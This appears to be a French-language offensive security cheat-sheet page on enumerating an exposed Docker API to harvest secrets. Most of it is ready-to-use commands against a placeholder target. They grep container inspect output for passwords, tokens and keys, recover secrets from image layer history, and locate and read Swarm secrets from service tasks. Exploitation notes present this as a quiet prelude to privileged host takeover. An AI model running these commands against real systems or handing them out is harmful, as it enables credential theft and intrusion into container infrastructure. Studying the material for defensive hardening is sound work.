Une API Docker atteignable n'est pas seulement un point de lancement ; ses endpoints de lecture exposent l'environnement tout entier. Énumérer d'abord est plus discret que de lancer immédiatement un conteneur privilégié et souvent plus rapide, car les conteneurs en cours d'exécution détiennent déjà les secrets qui valent la peine d'être obtenus. Chaque appel ci-dessous est un simple GET qui fonctionne sur un 2375 ouvert ou un 2376 authentifié.
H=tcp://<target>:2375
# Containers, including environment variables and mounts via inspect
docker -H $H ps -a
docker -H $H inspect $(docker -H $H ps -aq) | \
grep -iE '"Env"|PASSWORD|SECRET|TOKEN|KEY'
# Images and their build history (secrets baked into layers show here)
docker -H $H images
docker -H $H history --no-trunc <image>
# Networks and volumes (volumes often hold data directories and credentials)
docker -H $H network ls; docker -H $H volume ls
Secrets et configs de Swarm#
Si le daemon est un gestionnaire Swarm, l'API expose les objets secret et config ainsi que les services qui les utilisent :
docker -H $H node ls # "Is Manager: true" => secrets reachable
docker -H $H secret ls; docker -H $H config ls
# Secrets are not returned by the API directly, but a service can mount them;
# inspect services to see which secrets map where, then read them from a task
docker -H $H service inspect $(docker -H $H service ls -q) | grep -iA3 Secrets
Les secrets Swarm sont livrés dans les tâches de service à /run/secrets/<name>, de sorte que lancer une tâche qui monte déjà un secret, ou y faire un exec, le révèle.
Notes d'exploitation#
inspectsur les conteneurs en cours d'exécution est la source unique la plus riche : les variables d'environnement portent régulièrement des mots de passe de base de données, des clés cloud et des jetons d'API injectés au moment du déploiement.- L'image
history --no-truncrévèle les secrets ajoutés dans les couchesRUN/ENVmême s'ils ont été supprimés ensuite du système de fichiers ; voir Secrets dans les couches d'image. - L'énumération est en lecture seule et peu bruyante ; utilisez-la pour décider si un conteneur existant fournit déjà ce dont vous avez besoin avant d'en lancer un privilégié via Prise de contrôle de l'hôte via un run privilégié.